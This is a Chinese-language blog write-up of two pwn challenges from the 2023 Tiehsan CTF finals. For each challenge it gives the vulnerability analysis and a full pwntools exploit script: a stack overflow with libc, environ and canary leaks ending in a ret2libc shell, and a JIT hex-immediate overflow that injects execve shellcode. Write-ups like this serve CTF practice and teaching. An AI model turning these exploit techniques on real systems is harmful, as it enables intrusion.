2023铁人三项决赛


铁三决赛pwn的难度不大,但是那道虚拟机漏洞类型还是挺新颖的,以后有空可以整理一下不同类型虚拟机漏洞的利用

值得吐槽的是,我们实训课xjb装东西,竟然把我kali的pwntools和pwndbg全搞没了,比赛前半小时才发现(别问我为什么这么久没碰pwn),害得我把kali恢复到了去年8月的快照

driverlicense

题目复现

可以输入驾照的name, year, comment, name和comment以string形式存在栈上,year为数字

后面可以修改comment,并show驾照的信息

漏洞分析

edit comment的过程中,我们会获得comment string的cstr指针,然后用malloc_usable_size的方式获得当前长度,这个长度用于后续的输出

但是cstr在字符串长的时候才是堆指针,字符串较短的时候会保存在栈上,此时malloc_usable_size不适用这种情况,我们可以获得一个很大的size

get usable size

由于此时字符串在栈上,我们初步构思这是一个栈溢出

接下来问题来了,怎么泄露libc和canary?

出题者故意把name string放在了comment string后,我们就可以通过溢出控制name的cstr,由于没开pie,我们直接把cstr换成read的got地址,就泄露了libc

如法炮制,有了libc就有了envrion,就可以通过偏移推测栈上的canary地址,泄露出来

wp

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

#io = process('./pwn')
io = remote('172.31.3.108', 10001)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')

def edit(content):
    io.sendlineafter('>', '1')
    io.sendlineafter('comment', content)

def show():
    io.sendlineafter('>', '2')

io.sendlineafter('name', 'a'*0x20)
io.sendlineafter('year', '12')
io.sendlineafter('comment', 'b'*3)

#gdb.attach(io, 'b *0x401137')
payload = b'b'*8 + p64(0x40155d) + p64(0x602028)
edit(payload)
show()

io.recvuntil('name : ')
leak_libc = u64(io.recv(6)+ b'\0\0')
lg('leak_libc', leak_libc)

libc_base = leak_libc - libc.sym['read']

#leak stack 
environ = libc_base + libc.sym['environ']

payload = b'b'*8 + p64(0x40155d) + p64(environ)
edit(payload)
show()

io.recvuntil('name : ')
leak_stack = u64(io.recv(6)+ b'\0\0')
lg('leak_stack', leak_stack)
stack_addr = leak_stack + 0x7fffaca833c8 - 0x7fffaca834d8

#leak canary
payload = b'b'*8 + p64(0x40155d) + p64(stack_addr)
edit(payload)
show()

io.recvuntil('name : ')
canary = u64(io.recv(8))
lg('canary', canary)



payload = b'b'*8 + p64(0x40155d) + p64(0)
payload = payload.ljust(0x38, b'b')
payload += p64(canary)*4
payload += p64(0x401713) + p64(libc_base + libc.search(b'/bin/sh').__next__()) + p64(libc_base + libc.sym['system'])
#gdb.attach(io, 'b *0x401416')
#gdb.attach(io, 'b *0x40149d')
edit(payload)
io.sendlineafter('>', '0')

#gdb.attach(io)
io.interactive()

补充

这题和南阳理工的师傅交流的过程中,发现他们因为找不到2.23对应的c++库,放弃了调试。如wp所示,我调试的过程中,是直接先用自己虚拟机的libc库怼成功了,然后直接改用给的2.23偏移打远程。这样暴力的方法有一个问题:就是不同libc库会导致environ栈地址和canary的偏移不同(stack_addr = leak_stack + 0x7fffaca833c8 - 0x7fffaca834d8这句),好在我远程的过程中试了几次就找到了2.23下的canary偏移,比较幸运

当然,时间充足的情况下,肯定是能找到所有对应库本地调试,最严谨。

fast_emulator

题目复现

程序实现了一个能实现load,add,sub,mul,div,xor指令的即时编译器,用户逐行输入指令, parse_line会把指令分析为args结构体,然后args结构体会被翻译为shellcode,全部输入后执行shellcode

main process

漏洞分析

说说我解题时的过程(基本是废话)

我先把所有指令试了一遍,然后动调发现div指令实际的shellcode是loopne,我就考虑用loopne直接跳转到load的数据造成恶意执行。比如有一句’load r1, 0x12345678’,直接跳转到\x12\x34\x56\x78的地方

然后我想让跳转执行的命令更长,就试了一下’load r1,0x1111111111’,然后动调发现,shellcode实际被翻译为’mov rax, 0x11111111’再加上\x11\x11

也就是说,这个mov rax,(num)最多只能支持32位数,但解析的过程中可以拼接超过32位的数,超过的部分会变成下一行汇编执行

再静态分析,正是这个from_hex函数没有限制16进制数的大小

from_hex

这样我们相当于可以直接用这个漏洞任意执行了,但还要注意,我们输入的每行指令有长度限制,因此网上扒的shellcode得分段

具体大小端之类的麻烦问题直接看我wp

wp

from pwn import *
context.log_level = 'debug'

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

#io = process('./pwn')
io = remote('172.31.3.108', 10000)

#gdb.attach(io, 'b*$rebase(0x1a16)')
#gdb.attach(io, 'b*$rebase(0x16d5)')
payload = []

shellcode = '\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

payload.append(b'load r2, 0x' + b'f63148' + b'0'*8)
payload.append(b'load r2, 0x' + b'68732f2f6e69622fbf4856' + b'0'*8)
payload.append(b'load r2, 0x' + b'5f5457' + b'0'*8)
payload.append(b'load r2, 0x' + b'050f99583b6a' + b'0'*8)


length = len(payload)
io.sendlineafter('enter:', str(length))

for i in range(length):
    io.sendlineafter('>', payload[i])



io.interactive()

文章作者: N1co5in3
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 N1co5in3 !
  目录